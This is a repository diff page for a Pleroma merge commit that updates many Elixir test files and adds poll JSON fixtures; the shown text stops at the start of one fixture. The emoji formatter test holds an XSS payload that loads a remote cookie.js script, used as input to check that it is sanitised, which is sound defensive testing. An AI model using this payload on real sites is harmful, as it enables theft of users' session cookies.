aboutsummaryrefslogtreecommitdiff
path: root/test
diff options
context:
space:
mode:
authorlain <lain@soykaf.club>2019-09-30 13:57:54 +0200
committerlain <lain@soykaf.club>2019-09-30 13:57:54 +0200
commitb923842e96e821afeb7bbfa0d098b9c5698281c5 (patch)
tree37d84255d7b97fc411f5c78378565a8f205a2120 /test
parent6fe2f554c36be1ef03ac1d1104a78d0686f48a26 (diff)
parent74d8fadf3745a4b4203c2cead35b741554ccc439 (diff)
downloadpleroma-b923842e96e821afeb7bbfa0d098b9c5698281c5.tar.gz
Merge remote-tracking branch 'origin/develop' into reactions
Diffstat (limited to 'test')
-rw-r--r--test/activity/ir/topics_test.exs141
-rw-r--r--test/activity_test.exs41
-rw-r--r--test/captcha_test.exs2
-rw-r--r--test/config_test.exs2
-rw-r--r--test/conversation_test.exs2
-rw-r--r--test/daemons/activity_expiration_daemon_test.exs (renamed from test/activity_expiration_worker_test.exs)4
-rw-r--r--test/daemons/digest_email_daemon_test.exs (renamed from test/web/digest_email_worker_test.exs)10
-rw-r--r--test/daemons/scheduled_activity_daemon_test.exs (renamed from test/scheduled_activity_worker_test.exs)6
-rw-r--r--test/emails/admin_email_test.exs2
-rw-r--r--test/emails/mailer_test.exs2
-rw-r--r--test/emails/user_email_test.exs2
-rw-r--r--test/emoji/formatter_test.exs64
-rw-r--r--test/emoji/loader_test.exs83
-rw-r--r--test/emoji_test.exs83
-rw-r--r--test/fixtures/tesla_mock/poll_modified.json1
-rw-r--r--test/fixtures/tesla_mock/poll_original.json1
-rw-r--r--test/fixtures/tesla_mock/rin.json1
-rw-r--r--test/flake_id_test.exs47
-rw-r--r--test/formatter_test.exs140
-rw-r--r--test/html_test.exs2
-rw-r--r--test/instance_static/emoji/test_pack/blank.pngbin0 -> 95 bytes
-rw-r--r--test/instance_static/emoji/test_pack/pack.json13
-rw-r--r--test/instance_static/emoji/test_pack_for_import/blank.pngbin0 -> 95 bytes
-rw-r--r--test/instance_static/emoji/test_pack_nonshared/nonshared.zipbin0 -> 256 bytes
-rw-r--r--test/instance_static/emoji/test_pack_nonshared/pack.json16
-rw-r--r--test/integration/mastodon_websocket_test.exs51
-rw-r--r--test/list_test.exs2
-rw-r--r--test/moderation_log_test.exs36
-rw-r--r--test/notification_test.exs18
-rw-r--r--test/object_test.exs111
-rw-r--r--test/plugs/authentication_plug_test.exs2
-rw-r--r--test/plugs/cache_control_test.exs2
-rw-r--r--test/plugs/ensure_public_or_authenticated_plug_test.exs2
-rw-r--r--test/plugs/http_security_plug_test.exs2
-rw-r--r--test/plugs/http_signature_plug_test.exs2
-rw-r--r--test/plugs/instance_static_test.exs2
-rw-r--r--test/plugs/legacy_authentication_plug_test.exs2
-rw-r--r--test/plugs/mapped_identity_to_signature_plug_test.exs2
-rw-r--r--test/plugs/oauth_plug_test.exs2
-rw-r--r--test/plugs/oauth_scopes_plug_test.exs2
-rw-r--r--test/plugs/remote_ip_test.exs72
-rw-r--r--test/plugs/set_format_plug_test.exs2
-rw-r--r--test/plugs/set_locale_plug_test.exs2
-rw-r--r--test/plugs/uploaded_media_plug_test.exs2
-rw-r--r--test/scheduled_activity_test.exs2
-rw-r--r--test/support/captcha_mock.ex2
-rw-r--r--test/support/conn_case.ex6
-rw-r--r--test/support/data_case.ex6
-rw-r--r--test/support/factory.ex41
-rw-r--r--test/support/helpers.ex2
-rw-r--r--test/support/http_request_mock.ex6
-rw-r--r--test/support/mrf_module_mock.ex2
-rw-r--r--test/support/oban_helpers.ex42
-rw-r--r--test/support/web_push_http_client_mock.ex2
-rw-r--r--test/tasks/database_test.exs4
-rw-r--r--test/tasks/digest_test.exs3
-rw-r--r--test/tasks/ecto/migrate_test.exs2
-rw-r--r--test/tasks/instance_test.exs11
-rw-r--r--test/tasks/relay_test.exs2
-rw-r--r--test/tasks/user_test.exs2
-rw-r--r--test/test_helper.exs7
-rw-r--r--test/upload_test.exs2
-rw-r--r--test/user_search_test.exs2
-rw-r--r--test/user_test.exs178
-rw-r--r--test/web/activity_pub/activity_pub_controller_test.exs105
-rw-r--r--test/web/activity_pub/activity_pub_test.exs59
-rw-r--r--test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs6
-rw-r--r--test/web/activity_pub/publisher_test.exs94
-rw-r--r--test/web/activity_pub/relay_test.exs19
-rw-r--r--test/web/activity_pub/transmogrifier/follow_handling_test.exs2
-rw-r--r--test/web/activity_pub/transmogrifier_test.exs316
-rw-r--r--test/web/activity_pub/utils_test.exs232
-rw-r--r--test/web/activity_pub/views/user_view_test.exs71
-rw-r--r--test/web/admin_api/admin_api_controller_test.exs211
-rw-r--r--test/web/admin_api/search_test.exs2
-rw-r--r--test/web/admin_api/views/report_view_test.exs17
-rw-r--r--test/web/common_api/common_api_test.exs39
-rw-r--r--test/web/common_api/common_api_utils_test.exs8
-rw-r--r--test/web/federator_test.exs104
-rw-r--r--test/web/instances/instance_test.exs5
-rw-r--r--test/web/instances/instances_test.exs2
-rw-r--r--test/web/mastodon_api/controllers/conversation_controller_test.exs75
-rw-r--r--test/web/mastodon_api/controllers/domain_block_controller_test.exs51
-rw-r--r--test/web/mastodon_api/controllers/filter_controller_test.exs137
-rw-r--r--test/web/mastodon_api/controllers/follow_request_controller_test.exs81
-rw-r--r--test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs25
-rw-r--r--test/web/mastodon_api/controllers/notification_controller_test.exs299
-rw-r--r--test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs113
-rw-r--r--test/web/mastodon_api/controllers/status_controller_test.exs1210
-rw-r--r--test/web/mastodon_api/controllers/timeline_controller_test.exs291
-rw-r--r--test/web/mastodon_api/mastodon_api_controller_test.exs2411
-rw-r--r--test/web/mastodon_api/views/account_view_test.exs120
-rw-r--r--test/web/mastodon_api/views/list_view_test.exs2
-rw-r--r--test/web/mastodon_api/views/notification_view_test.exs8
-rw-r--r--test/web/mastodon_api/views/push_subscription_view_test.exs2
-rw-r--r--test/web/mastodon_api/views/scheduled_activity_view_test.exs2
-rw-r--r--test/web/mastodon_api/views/status_view_test.exs55
-rw-r--r--test/web/media_proxy/media_proxy_controller_test.exs2
-rw-r--r--test/web/media_proxy/media_proxy_test.exs2
-rw-r--r--test/web/node_info_test.exs2
-rw-r--r--test/web/oauth/app_test.exs33
-rw-r--r--test/web/oauth/authorization_test.exs2
-rw-r--r--test/web/oauth/oauth_controller_test.exs38
-rw-r--r--test/web/oauth/token/utils_test.exs2
-rw-r--r--test/web/oauth/token_test.exs2
-rw-r--r--test/web/ostatus/activity_representer_test.exs2
-rw-r--r--test/web/ostatus/feed_representer_test.exs2
-rw-r--r--test/web/ostatus/ostatus_controller_test.exs24
-rw-r--r--test/web/ostatus/ostatus_test.exs16
-rw-r--r--test/web/pleroma_api/controllers/scrobble_controller_test.exs63
-rw-r--r--test/web/pleroma_api/emoji_api_controller_test.exs459
-rw-r--r--test/web/plugs/federating_plug_test.exs2
-rw-r--r--test/web/push/impl_test.exs2
-rw-r--r--test/web/retry_queue_test.exs48
-rw-r--r--test/web/salmon/salmon_test.exs4
-rw-r--r--test/web/streamer/ping_test.exs36
-rw-r--r--test/web/streamer/state_test.exs54
-rw-r--r--test/web/streamer/streamer_test.exs (renamed from test/web/streamer_test.exs)107
-rw-r--r--test/web/twitter_api/password_controller_test.exs21
-rw-r--r--test/web/twitter_api/twitter_api_test.exs8
-rw-r--r--test/web/twitter_api/util_controller_test.exs161
-rw-r--r--test/web/uploader_controller_test.exs2
-rw-r--r--test/web/views/error_view_test.exs2
-rw-r--r--test/web/web_finger/web_finger_controller_test.exs15
-rw-r--r--test/web/web_finger/web_finger_test.exs2
-rw-r--r--test/web/websub/websub_controller_test.exs2
-rw-r--r--test/web/websub/websub_test.exs6
127 files changed, 5755 insertions, 2845 deletions
diff --git a/test/activity/ir/topics_test.exs b/test/activity/ir/topics_test.exs
new file mode 100644
index 000000000..e75f83586
--- /dev/null
+++ b/test/activity/ir/topics_test.exs
@@ -0,0 +1,141 @@
+defmodule Pleroma.Activity.Ir.TopicsTest do
+ use Pleroma.DataCase
+
+ alias Pleroma.Activity
+ alias Pleroma.Activity.Ir.Topics
+ alias Pleroma.Object
+
+ require Pleroma.Constants
+
+ describe "poll answer" do
+ test "produce no topics" do
+ activity = %Activity{object: %Object{data: %{"type" => "Answer"}}}
+
+ assert [] == Topics.get_activity_topics(activity)
+ end
+ end
+
+ describe "non poll answer" do
+ test "always add user and list topics" do
+ activity = %Activity{object: %Object{data: %{"type" => "FooBar"}}}
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "user")
+ assert Enum.member?(topics, "list")
+ end
+ end
+
+ describe "public visibility" do
+ setup do
+ activity = %Activity{
+ object: %Object{data: %{"type" => "Note"}},
+ data: %{"to" => [Pleroma.Constants.as_public()]}
+ }
+
+ {:ok, activity: activity}
+ end
+
+ test "produces public topic", %{activity: activity} do
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "public")
+ end
+
+ test "local action produces public:local topic", %{activity: activity} do
+ activity = %{activity | local: true}
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "public:local")
+ end
+
+ test "non-local action does not produce public:local topic", %{activity: activity} do
+ activity = %{activity | local: false}
+ topics = Topics.get_activity_topics(activity)
+
+ refute Enum.member?(topics, "public:local")
+ end
+ end
+
+ describe "public visibility create events" do
+ setup do
+ activity = %Activity{
+ object: %Object{data: %{"type" => "Create", "attachment" => []}},
+ data: %{"to" => [Pleroma.Constants.as_public()]}
+ }
+
+ {:ok, activity: activity}
+ end
+
+ test "with no attachments doesn't produce public:media topics", %{activity: activity} do
+ topics = Topics.get_activity_topics(activity)
+
+ refute Enum.member?(topics, "public:media")
+ refute Enum.member?(topics, "public:local:media")
+ end
+
+ test "converts tags to hash tags", %{activity: %{object: %{data: data} = object} = activity} do
+ tagged_data = Map.put(data, "tag", ["foo", "bar"])
+ activity = %{activity | object: %{object | data: tagged_data}}
+
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "hashtag:foo")
+ assert Enum.member?(topics, "hashtag:bar")
+ end
+
+ test "only converts strinngs to hash tags", %{
+ activity: %{object: %{data: data} = object} = activity
+ } do
+ tagged_data = Map.put(data, "tag", [2])
+ activity = %{activity | object: %{object | data: tagged_data}}
+
+ topics = Topics.get_activity_topics(activity)
+
+ refute Enum.member?(topics, "hashtag:2")
+ end
+ end
+
+ describe "public visibility create events with attachments" do
+ setup do
+ activity = %Activity{
+ object: %Object{data: %{"type" => "Create", "attachment" => ["foo"]}},
+ data: %{"to" => [Pleroma.Constants.as_public()]}
+ }
+
+ {:ok, activity: activity}
+ end
+
+ test "produce public:media topics", %{activity: activity} do
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "public:media")
+ end
+
+ test "local produces public:local:media topics", %{activity: activity} do
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "public:local:media")
+ end
+
+ test "non-local doesn't produce public:local:media topics", %{activity: activity} do
+ activity = %{activity | local: false}
+
+ topics = Topics.get_activity_topics(activity)
+
+ refute Enum.member?(topics, "public:local:media")
+ end
+ end
+
+ describe "non-public visibility" do
+ test "produces direct topic" do
+ activity = %Activity{object: %Object{data: %{"type" => "Note"}}, data: %{"to" => []}}
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "direct")
+ refute Enum.member?(topics, "public")
+ refute Enum.member?(topics, "public:local")
+ refute Enum.member?(topics, "public:media")
+ refute Enum.member?(topics, "public:local:media")
+ end
+ end
+end
diff --git a/test/activity_test.exs b/test/activity_test.exs
index 4152aaa7e..95d9341c4 100644
--- a/test/activity_test.exs
+++ b/test/activity_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ActivityTest do
@@ -7,6 +7,7 @@ defmodule Pleroma.ActivityTest do
alias Pleroma.Activity
alias Pleroma.Bookmark
alias Pleroma.Object
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.ThreadMute
import Pleroma.Factory
@@ -125,7 +126,8 @@ defmodule Pleroma.ActivityTest do
}
{:ok, local_activity} = Pleroma.Web.CommonAPI.post(user, %{"status" => "find me!"})
- {:ok, remote_activity} = Pleroma.Web.Federator.incoming_ap_doc(params)
+ {:ok, job} = Pleroma.Web.Federator.incoming_ap_doc(params)
+ {:ok, remote_activity} = ObanHelpers.perform(job)
%{local_activity: local_activity, remote_activity: remote_activity, user: user}
end
@@ -185,4 +187,39 @@ defmodule Pleroma.ActivityTest do
assert [%{id: ^id1, object: %Object{}}, %{id: ^id2, object: %Object{}}] = activities
end
+
+ test "get_by_id_with_object/1" do
+ %{id: id} = insert(:note_activity)
+
+ assert %Activity{id: ^id, object: %Object{}} = Activity.get_by_id_with_object(id)
+ end
+
+ test "get_by_ap_id_with_object/1" do
+ %{data: %{"id" => ap_id}} = insert(:note_activity)
+
+ assert %Activity{data: %{"id" => ^ap_id}, object: %Object{}} =
+ Activity.get_by_ap_id_with_object(ap_id)
+ end
+
+ test "get_by_id/1" do
+ %{id: id} = insert(:note_activity)
+
+ assert %Activity{id: ^id} = Activity.get_by_id(id)
+ end
+
+ test "all_by_actor_and_id/2" do
+ user = insert(:user)
+
+ {:ok, %{id: id1}} = Pleroma.Web.CommonAPI.post(user, %{"status" => "cofe"})
+ {:ok, %{id: id2}} = Pleroma.Web.CommonAPI.post(user, %{"status" => "cofefe"})
+
+ assert [] == Activity.all_by_actor_and_id(user, [])
+
+ activities =
+ user.ap_id
+ |> Activity.all_by_actor_and_id([id1, id2])
+ |> Enum.sort(&(&1.id < &2.id))
+
+ assert [%Activity{id: ^id1}, %Activity{id: ^id2}] = activities
+ end
end
diff --git a/test/captcha_test.exs b/test/captcha_test.exs
index 7ca9a4607..9f395d6b4 100644
--- a/test/captcha_test.exs
+++ b/test/captcha_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.CaptchaTest do
diff --git a/test/config_test.exs b/test/config_test.exs
index 73f3fcb0a..438fe62ee 100644
--- a/test/config_test.exs
+++ b/test/config_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ConfigTest do
diff --git a/test/conversation_test.exs b/test/conversation_test.exs
index 4e36494f8..693427d80 100644
--- a/test/conversation_test.exs
+++ b/test/conversation_test.exs
@@ -22,6 +22,8 @@ defmodule Pleroma.ConversationTest do
{:ok, _activity} =
CommonAPI.post(user, %{"visibility" => "direct", "status" => "hey @#{other_user.nickname}"})
+ Pleroma.Tests.ObanHelpers.perform_all()
+
Repo.delete_all(Conversation)
Repo.delete_all(Conversation.Participation)
diff --git a/test/activity_expiration_worker_test.exs b/test/daemons/activity_expiration_daemon_test.exs
index 939d912f1..b51132fb0 100644
--- a/test/activity_expiration_worker_test.exs
+++ b/test/daemons/activity_expiration_daemon_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ActivityExpirationWorkerTest do
@@ -10,7 +10,7 @@ defmodule Pleroma.ActivityExpirationWorkerTest do
test "deletes an activity" do
activity = insert(:note_activity)
expiration = insert(:expiration_in_the_past, %{activity_id: activity.id})
- Pleroma.ActivityExpirationWorker.perform(:execute, expiration.id)
+ Pleroma.Daemons.ActivityExpirationDaemon.perform(:execute, expiration.id)
refute Repo.get(Activity, activity.id)
end
diff --git a/test/web/digest_email_worker_test.exs b/test/daemons/digest_email_daemon_test.exs
index 15002330f..3168f3b9a 100644
--- a/test/web/digest_email_worker_test.exs
+++ b/test/daemons/digest_email_daemon_test.exs
@@ -2,11 +2,12 @@
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
-defmodule Pleroma.DigestEmailWorkerTest do
+defmodule Pleroma.DigestEmailDaemonTest do
use Pleroma.DataCase
import Pleroma.Factory
- alias Pleroma.DigestEmailWorker
+ alias Pleroma.Daemons.DigestEmailDaemon
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.CommonAPI
@@ -22,7 +23,10 @@ defmodule Pleroma.DigestEmailWorkerTest do
User.switch_email_notifications(user2, "digest", true)
CommonAPI.post(user, %{"status" => "hey @#{user2.nickname}!"})
- DigestEmailWorker.perform()
+ DigestEmailDaemon.perform()
+ ObanHelpers.perform_all()
+ # Performing job(s) enqueued at previous step
+ ObanHelpers.perform_all()
assert_received {:email, email}
assert email.to == [{user2.name, user2.email}]
diff --git a/test/scheduled_activity_worker_test.exs b/test/daemons/scheduled_activity_daemon_test.exs
index e3ad1244e..c8e464491 100644
--- a/test/scheduled_activity_worker_test.exs
+++ b/test/daemons/scheduled_activity_daemon_test.exs
@@ -1,8 +1,8 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
-defmodule Pleroma.ScheduledActivityWorkerTest do
+defmodule Pleroma.ScheduledActivityDaemonTest do
use Pleroma.DataCase
alias Pleroma.ScheduledActivity
import Pleroma.Factory
@@ -10,7 +10,7 @@ defmodule Pleroma.ScheduledActivityWorkerTest do
test "creates a status from the scheduled activity" do
user = insert(:user)
scheduled_activity = insert(:scheduled_activity, user: user, params: %{status: "hi"})
- Pleroma.ScheduledActivityWorker.perform(:execute, scheduled_activity.id)
+ Pleroma.Daemons.ScheduledActivityDaemon.perform(:execute, scheduled_activity.id)
refute Repo.get(ScheduledActivity, scheduled_activity.id)
activity = Repo.all(Pleroma.Activity) |> Enum.find(&(&1.actor == user.ap_id))
diff --git a/test/emails/admin_email_test.exs b/test/emails/admin_email_test.exs
index 9e83c73c6..31eac5f12 100644
--- a/test/emails/admin_email_test.exs
+++ b/test/emails/admin_email_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.AdminEmailTest do
diff --git a/test/emails/mailer_test.exs b/test/emails/mailer_test.exs
index ae5effb7a..2425c85dd 100644
--- a/test/emails/mailer_test.exs
+++ b/test/emails/mailer_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.MailerTest do
diff --git a/test/emails/user_email_test.exs b/test/emails/user_email_test.exs
index 7d8df6abc..963565f7c 100644
--- a/test/emails/user_email_test.exs
+++ b/test/emails/user_email_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.UserEmailTest do
diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs
new file mode 100644
index 000000000..6d25fc453
--- /dev/null
+++ b/test/emoji/formatter_test.exs
@@ -0,0 +1,64 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.FormatterTest do
+ alias Pleroma.Emoji
+ alias Pleroma.Emoji.Formatter
+ use Pleroma.DataCase
+
+ describe "emojify" do
+ test "it adds cool emoji" do
+ text = "I love :firefox:"
+
+ expected_result =
+ "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
+
+ assert Formatter.emojify(text) == expected_result
+ end
+
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji =
+ {
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
+ "https://placehold.it/1x1"
+ }
+ |> Pleroma.Emoji.build()
+
+ expected_result =
+ "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
+
+ assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
+ end
+ end
+
+ describe "get_emoji" do
+ test "it returns the emoji used in the text" do
+ text = "I love :firefox:"
+
+ assert Formatter.get_emoji(text) == [
+ {"firefox",
+ %Emoji{
+ code: "firefox",
+ file: "/emoji/Firefox.gif",
+ tags: ["Gif", "Fun"],
+ safe_code: "firefox",
+ safe_file: "/emoji/Firefox.gif"
+ }}
+ ]
+ end
+
+ test "it returns a nice empty result when no emojis are present" do
+ text = "I love moominamma"
+ assert Formatter.get_emoji(text) == []
+ end
+
+ test "it doesn't die when text is absent" do
+ text = nil
+ assert Formatter.get_emoji(text) == []
+ end
+ end
+end
diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs
new file mode 100644
index 000000000..045eef150
--- /dev/null
+++ b/test/emoji/loader_test.exs
@@ -0,0 +1,83 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.LoaderTest do
+ use ExUnit.Case, async: true
+ alias Pleroma.Emoji.Loader
+
+ describe "match_extra/2" do
+ setup do
+ groups = [
+ "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
+ "wildcard folder": "/emoji/custom/*/file.png",
+ "wildcard files": "/emoji/custom/folder/*.png",
+ "special file": "/emoji/custom/special.png"
+ ]
+
+ {:ok, groups: groups}
+ end
+
+ test "config for list of files", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/first_file.png")
+ |> to_string()
+
+ assert group == "list of files"
+ end
+
+ test "config with wildcard folder", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/some_folder/file.png")
+ |> to_string()
+
+ assert group == "wildcard folder"
+ end
+
+ test "config with wildcard folder and subfolders", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
+ |> to_string()
+
+ assert group == "wildcard folder"
+ end
+
+ test "config with wildcard files", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/folder/some_file.png")
+ |> to_string()
+
+ assert group == "wildcard files"
+ end
+
+ test "config with wildcard files and subfolders", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
+ |> to_string()
+
+ assert group == "wildcard files"
+ end
+
+ test "config for special file", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/special.png")
+ |> to_string()
+
+ assert group == "special file"
+ end
+
+ test "no mathing returns nil", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/some_undefined.png")
+
+ refute group
+ end
+ end
+end
diff --git a/test/emoji_test.exs b/test/emoji_test.exs
index 467357291..7bdf2b6fa 100644
--- a/test/emoji_test.exs
+++ b/test/emoji_test.exs
@@ -22,9 +22,9 @@ defmodule Pleroma.EmojiTest do
test "first emoji", %{emoji_list: emoji_list} do
[emoji | _others] = emoji_list
- {code, path, tags} = emoji
+ {code, %Emoji{file: path, tags: tags}} = emoji
- assert tuple_size(emoji) == 3
+ assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
@@ -32,87 +32,12 @@ defmodule Pleroma.EmojiTest do
test "random emoji", %{emoji_list: emoji_list} do
emoji = Enum.random(emoji_list)
- {code, path, tags} = emoji
+ {code, %Emoji{file: path, tags: tags}} = emoji
- assert tuple_size(emoji) == 3
+ assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
end
end
-
- describe "match_extra/2" do
- setup do
- groups = [
- "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
- "wildcard folder": "/emoji/custom/*/file.png",
- "wildcard files": "/emoji/custom/folder/*.png",
- "special file": "/emoji/custom/special.png"
- ]
-
- {:ok, groups: groups}
- end
-
- test "config for list of files", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/first_file.png")
- |> to_string()
-
- assert group == "list of files"
- end
-
- test "config with wildcard folder", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/some_folder/file.png")
- |> to_string()
-
- assert group == "wildcard folder"
- end
-
- test "config with wildcard folder and subfolders", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png")
- |> to_string()
-
- assert group == "wildcard folder"
- end
-
- test "config with wildcard files", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/folder/some_file.png")
- |> to_string()
-
- assert group == "wildcard files"
- end
-
- test "config with wildcard files and subfolders", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png")
- |> to_string()
-
- assert group == "wildcard files"
- end
-
- test "config for special file", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/special.png")
- |> to_string()
-
- assert group == "special file"
- end
-
- test "no mathing returns nil", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/some_undefined.png")
-
- refute group
- end
- end
end
diff --git a/test/fixtures/tesla_mock/poll_modified.json b/test/fixtures/tesla_mock/poll_modified.json
new file mode 100644
index 000000000..1d026b592
--- /dev/null
+++ b/test/fixtures/tesla_mock/poll_modified.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":8,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":3,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"} \ No newline at end of file
diff --git a/test/fixtures/tesla_mock/poll_original.json b/test/fixtures/tesla_mock/poll_original.json
new file mode 100644
index 000000000..267876b3c
--- /dev/null
+++ b/test/fixtures/tesla_mock/poll_original.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":4,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":0,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"} \ No newline at end of file
diff --git a/test/fixtures/tesla_mock/rin.json b/test/fixtures/tesla_mock/rin.json
new file mode 100644
index 000000000..2cf623764
--- /dev/null
+++ b/test/fixtures/tesla_mock/rin.json
@@ -0,0 +1 @@
